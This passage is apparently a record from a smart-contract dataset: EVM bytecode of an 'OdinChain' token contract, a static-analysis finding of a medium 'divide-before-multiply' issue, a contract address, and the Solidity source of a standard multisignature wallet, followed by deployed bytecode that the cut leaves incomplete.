50192918291850190849080828437509497506117dc9650505050505050565b34801561070b57600080fd5b506101d4600160a060020a03600435166118b2565b600b546000908190819060ff16151561073857600080fd5b600b54610100900460ff16801561075157506005544210155b801561075f57506007544211155b151561076a57600080fd5b336000908152600d602052604090205460ff16151560011461078b57600080fd5b34925033915081158015906107a257506003548310155b80156107b057506004548311155b15156107bb57600080fd5b600454600160a060020a0383166000908152600e60205260409020546107e890859063ffffffff61191116565b11156107f357600080fd5b6000905060065442111561081c57600a5461081590349063ffffffff61192716565b9050610833565b60095461083090349063ffffffff61192716565b90505b600160a060020a0382166000908152600e602052604090205461085d90849063ffffffff61191116565b600160a060020a038084166000908152600e6020908152604080832094909455600b546201000090049092168152600f90915220546108a2908263ffffffff61194b16565b600b54600160a060020a036201000090910481166000908152600f602052604080822093909355908416815220546108e0908263ffffffff61191116565b600160a060020a038084166000818152600f602090815260409182902094909455600b5481518681529151929462010000909104909316926000805160206119c683398151915292918290030190a3505050565b60408051808201909152600981527f4f64696e436861696e0000000000000000000000000000000000000000000000602082015281565b600b5460009060ff16151561097f57600080fd5b81158015906109b05750336000908152600c60209081526040808320600160a060020a038716845290915290205415155b156109bd57506000610a1f565b336000818152600c60209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b600b54600090620100009004600160a060020a03163314610a4557600080fd5b825160ff1015610a5457600080fd5b5060005b82518160ff161015610a9057610a88838260ff16815181101515610a7857fe5b9060200190602002015183610a95565b600101610a58565b505050565b600b54620100009004600160a060020a03163314610ab257600080fd5b600b54600160a060020a0383811662010000909204161415610ad357600080fd5b60008111610ae057600080fd5b600b54620100009004600160a060020a03166000908152600f6020526040902054811115610b0d57600080fd5b600154811015610b1c57600054025b600b54620100009004600160a060020a03166000908152600f6020526040902054610b47908261194b565b600b54600160a060020a036201000090910481166000908152600f60205260408082209390935590841681522054610b85908263ffffffff61191116565b600160a060020a038084166000818152600f602090815260409182902094909455600b5481518681529151929462010000909104909316926000805160206119c683398151915292918290030190a35050565b60025481565b600b546000908190819060ff161515610bf657600080fd5b60606064361015610c0357fe5b600160a060020a03871615801590610c235750600160a060020a03861615155b1515610c2e57600080fd5b600160a060020a0387166000908152600c60209081526040808320338452909152902054851115610c5e57600080fd5b610c678761171a565b600160a060020a0388166000908152600f6020526040902054909350610c93908463ffffffff61194b16565b915081851115610ca257600080fd5b600160a060020a0387166000908152600f6020526040902054610ccb908663ffffffff61194b16565b600160a060020a0388166000908152600f6020908152604080832093909355600c815282822033835290522054610d08908663ffffffff61194b16565b600160a060020a038089166000908152600c602090815260408083203384528252808320949094559189168152600f9091522054610d4c908663ffffffff61191116565b600160a060020a038088166000818152600f602090815260409182902094909455805189815290519193928b16926000805160206119c683398151915292918290030190a35060019695505050505050565b601281565b600080606080600080600b60029054906101000a9004600160a060020a0316600160a060020a031633600160a060020a0316141515610de157600080fd5b600b54600160a060020a038c811662010000909204161415610e0257600080fd5b60008811610e0f57600080fd5b8789811515610e1a57fe5b049550600f60008c600160a060020a0316600160a060020a03168152602001908152602001600020945087604051908082528060200260200182016040528015610e6e578160200160208202803883390190505b50935087604051908082528060200260200182016040528015610e9b578160200160208202803883390190505b5092506001548a1015610eb957600054998a02999889029895909502945b600b54620100009004600160a060020a03166000908152600f60205260409020548a10610ee557600080fd5b889150861515610ef757600854420196505b5060005b60018803811015610f5b57858482815181101515610f1557fe5b6020908102909101015282518790849083908110610f2f57fe5b602090810290910101526008549690960195610f51828763ffffffff61194b16565b9150600101610efb565b818482815181101515610f6a57fe5b6020908102909101015282518790849083908110610f8457fe5b602090810290910101528454610fa0908b63ffffffff61191116565b85558351610fb7906001870190602087019061195d565b508251610fcd906002870190602086019061195d565b50600b54620100009004600160a060020a03166000908152600f6020526040902054610ff9908b61194b565b600f6000600b60029054906101000a9004600160a060020a0316600160a060020a0316600160a060020a03168152602001908152602001600020600001819055508a600160a060020a0316600b60029054906101000a9004600160a060020a0316600160a060020a03166000805160206119c68339815191528c6040518082815260200191505060405180910390a3604080518a81529051600160a060020a038d16917ff97a274face0b5517365ad396b1fdba6f68bd3135ef603e44272adba3af5a1e0919081900360200190a25050505050505050505050565b600b54620100009004600160a060020a031633146110f157600080fd5b600991909155600a55565b600b54600090620100009004600160a060020a0316331461111c57600080fd5b5030600081311161112c57600080fd5b600b54604051600160a060020a036201000090920482169183163180156108fc02916000818181858888f1935050505015801561116d573d6000803e3d6000fd5b50600b5460408051600160a060020a03848116318252915162010000909304919091169130916000805160206119c6833981519152919081900360200190a350565b60085481565b600b54620100009004600160a060020a031633146111d257600080fd5b600592909255600655600755565b600b54620100009004600160a060020a031633146111fd57600080fd5b600b54610100900460ff161580611215575060055442105b80611221575060075442115b151561122c57600080fd5b600b5460ff16151561123d57600080fd5b600b805461ff0019166101001790556040517fd5b089eb0ec44264fc274d9a4adaafa6bfe78bdbeaf4b128d6871d5314057c5690600090a1565b600160a060020a03166000908152600f602052604090205490565b60045481565b600b54620100009004600160a060020a031633146112b557600080fd5b600b5460ff1615156112c657600080fd5b600b805460ff191690556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600b54610100900460ff1681565b60408051808201909152600581527f4f64696e42000000000000000000000000000000000000000000000000000000602082015281565b600b54620100009004600160a060020a0316331461135d57600080fd5b600b54610100900460ff16801561137657506005544210155b801561138457506007544211155b151561138f57600080fd5b600b5460ff1615156113a057600080fd5b600b805461ff00191690556040517fb9248e98c8764c68b0d9dd60de677553b9c38a5a521bbb362bb6f5aab6937e8990600090a1565b60075481565b600d6020526000908152604090205460ff1681565b600b54620100009004600160a060020a0316331461140e57600080fd5b336000908152600f602052604090205481111561142a57600080fd5b600160a060020a0382166000908152600f6020526040902054611453908263ffffffff61194b16565b600160a060020a0383166000908152600f602052604090205560025461147f908263ffffffff61194b16565b60028190556000549081151561149157fe5b04600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b600b546000908190819060ff1615156114f057600080fd5b604060443610156114fd57fe5b600160a060020a038616151561151257600080fd5b61151b3361171a565b336000908152600f602052604090205490935061153e908463ffffffff61194b16565b91508185111561154d57600080fd5b336000908152600f602052604090205461156d908663ffffffff61194b16565b336000908152600f602052604080822092909255600160a060020a0388168152205461159f908663ffffffff61191116565b600160a060020a0387166000818152600f60209081526040918290209390935580518881529051919233926000805160206119c68339815191529281900390910190a350600195945050505050565b600b54600090620100009004600160a060020a0316331461160e57600080fd5b825160ff101561161d57600080fd5b815183511461162b57600080fd5b5060005b82518160ff161015610a9057611679838260ff1681518110151561164f57fe5b90602001906020020151838360ff1681518110151561166a57fe5b90602001906020020151610a95565b60010161162f565b600a5481565b600b54620100009004600160a060020a031633146116a457600080fd5b600b5460ff16156116b457600080fd5b600b805460ff191660011790556040517ff999e0378b31fd060880ceb4bc403bc32de3d1000bee77078a09c7f1d929a51590600090a1565b60055481565b600b54620100009004600160a060020a0316331461170f57600080fd5b600391909155600455565b600160a060020a0381166000908152600f602052604081208142815b600184015481101561178c576002840180548290811061175257fe5b9060005260206000200154821015611784576001840180548290811061177457fe5b9060005260206000200154830192505b600101611736565b5090949350505050565b60035481565b600b5460ff1681565b600160a060020a039182166000908152600c6020908152604080832093909416825291909152205490565b60095481565b60065481565b600b54600090620100009004600160a060020a031633146117fc57600080fd5b815160ff101561180b57600080fd5b5060005b81518160ff1610156118ae57600d6000838360ff1681518110151561183057fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff1615156118a6576001600d6000848460ff1681518110151561187357fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff19169115159190911790555b60010161180f565b5050565b600b54620100009004600160a060020a031633146118cf57600080fd5b600160a060020a0381161561190e57600b805475ffffffffffffffffffffffffffffffffffffffff0000191662010000600160a060020a038416021790555b50565b60008282018381101561192057fe5b9392505050565b6000828202831580611943575082848281151561194057fe5b04145b151561192057fe5b60008282111561195757fe5b50900390565b828054828255906000526020600020908101928215611998579160200282015b8281111561199857825182559160200191906001019061197d565b506119a49291506119a8565b5090565b6119c291905b808211156119a457600081556001016119ae565b905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058200f8da9775f4d5f1251c8b2c57701faf45b5acd1cc656fd45f6ef4400df1f44f00029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 5,152 |
0x317483f2cdc9f43c5647e03ece51b6099afb294a
|
pragma solidity ^0.4.24;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="8ffcfbeae9eee1a1e8eae0fde8eacfece0e1fceae1fcf6fca1e1eafb">[email protected]</a>>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
if (msg.sender != address(this))
revert();
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
revert();
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
revert();
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
revert();
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
revert();
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
revert();
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
revert();
_;
}
modifier notNull(address _address) {
if (_address == 0)
revert();
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
revert();
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
revert();
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
require(owners.length > 0);
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
ownerExists(msg.sender)
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101e457806320ea8d86146102275780632f54bf6e146102545780633411c81c146102af57806354741525146103145780637065cb4814610363578063784547a7146103a65780638b51d13f146103eb5780639ace38c21461042c578063a0e67e2b14610517578063a8abe69a14610583578063b5dc40c314610627578063b77bf600146106a9578063ba51a6df146106d4578063c01a8c8414610701578063c64274741461072e578063d74f8edd146107d5578063dc8452cd14610800578063e20056e61461082b578063ee22610b1461088e575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34801561018357600080fd5b506101a2600480360381019080803590602001909291905050506108bb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f057600080fd5b50610225600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108f9565b005b34801561023357600080fd5b5061025260048036038101908080359060200190929190505050610ba6565b005b34801561026057600080fd5b50610295600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d4c565b604051808215151515815260200191505060405180910390f35b3480156102bb57600080fd5b506102fa60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d6c565b604051808215151515815260200191505060405180910390f35b34801561032057600080fd5b5061034d600480360381019080803515159060200190929190803515159060200190929190505050610d9b565b6040518082815260200191505060405180910390f35b34801561036f57600080fd5b506103a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e2d565b005b3480156103b257600080fd5b506103d160048036038101908080359060200190929190505050611026565b604051808215151515815260200191505060405180910390f35b3480156103f757600080fd5b506104166004803603810190808035906020019092919050505061110b565b6040518082815260200191505060405180910390f35b34801561043857600080fd5b50610457600480360381019080803590602001909291905050506111d6565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156104d95780820151818401526020810190506104be565b50505050905090810190601f1680156105065780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561052357600080fd5b5061052c6112cb565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561056f578082015181840152602081019050610554565b505050509050019250505060405180910390f35b34801561058f57600080fd5b506105d06004803603810190808035906020019092919080359060200190929190803515159060200190929190803515159060200190929190505050611359565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106135780820151818401526020810190506105f8565b505050509050019250505060405180910390f35b34801561063357600080fd5b50610652600480360381019080803590602001909291905050506114ca565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561069557808201518184015260208101905061067a565b505050509050019250505060405180910390f35b3480156106b557600080fd5b506106be611707565b6040518082815260200191505060405180910390f35b3480156106e057600080fd5b506106ff6004803603810190808035906020019092919050505061170d565b005b34801561070d57600080fd5b5061072c600480360381019080803590602001909291905050506117bf565b005b34801561073a57600080fd5b506107bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611998565b6040518082815260200191505060405180910390f35b3480156107e157600080fd5b506107ea611a11565b6040518082815260200191505060405180910390f35b34801561080c57600080fd5b50610815611a16565b6040518082815260200191505060405180910390f35b34801561083757600080fd5b5061088c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a1c565b005b34801561089a57600080fd5b506108b960048036038101908080359060200190929190505050611d2f565b005b6003818154811015156108ca57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561093557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561098e57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b13578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a2157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b06576003600160038054905003815481101515610a7f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610ab957fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b13565b81806001019250506109eb565b6001600381818054905003915081610b2b91906120fc565b506000600380549050111515610b4057600080fd5b6003805490506004541115610b5e57610b5d60038054905061170d565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bff57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c6a57600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615610c9857600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610e2657838015610dda575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610e0d5750828015610e0c575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610e19576001820191505b8080600101915050610da3565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e6757600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ebf57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff161415610ee457600080fd5b6001600380549050016004546032821180610efe57508181115b80610f095750600081145b80610f145750600082145b15610f1e57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156111035760016000858152602001908152602001600020600060038381548110151561106457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110e3576001820191505b6004548214156110f65760019250611104565b8080600101915050611033565b5b5050919050565b600080600090505b6003805490508110156111d05760016000848152602001908152602001600020600060038381548110151561114457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111c3576001820191505b8080600101915050611113565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112ae5780601f10611283576101008083540402835291602001916112ae565b820191906000526020600020905b81548152906001019060200180831161129157829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b6060600380548060200260200160405190810160405280929190818152602001828054801561134f57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611305575b5050505050905090565b6060806000806005546040519080825280602002602001820160405280156113905781602001602082028038833980820191505090505b50925060009150600090505b60055481101561143c578580156113d3575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806114065750848015611405575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561142f5780838381518110151561141a57fe5b90602001906020020181815250506001820191505b808060010191505061139c565b87870360405190808252806020026020018201604052801561146d5781602001602082028038833980820191505090505b5093508790505b868110156114bf57828181518110151561148a57fe5b90602001906020020151848983038151811015156114a457fe5b90602001906020020181815250508080600101915050611474565b505050949350505050565b6060806000806003805490506040519080825280602002602001820160405280156115045781602001602082028038833980820191505090505b50925060009150600090505b6003805490508110156116515760016000868152602001908152602001600020600060038381548110151561154157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611644576003818154811015156115c857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838381518110151561160157fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611510565b816040519080825280602002602001820160405280156116805781602001602082028038833980820191505090505b509350600090505b818110156116ff57828181518110151561169e57fe5b9060200190602002015184828151811015156116b657fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611688565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561174757600080fd5b60038054905081603282118061175c57508181115b806117675750600081145b806117725750600082145b1561177c57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561181857600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561187257600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156118dc57600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361199185611d2f565b5050505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156119f357600080fd5b6119fe858585611fac565b9150611a09826117bf565b509392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a5857600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ab157600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611b0957600080fd5b600092505b600380549050831015611bf2578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611b4157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611be55783600384815481101515611b9857fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611bf2565b8280600101935050611b0e565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611d8a57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611df557600080fd5b8460008082815260200190815260200160002060030160009054906101000a900460ff1615611e2357600080fd5b611e2c86611026565b15611fa457600080878152602001908152602001600020945060018560030160006101000a81548160ff0219169083151502179055508460000160009054906101000a900473ffffff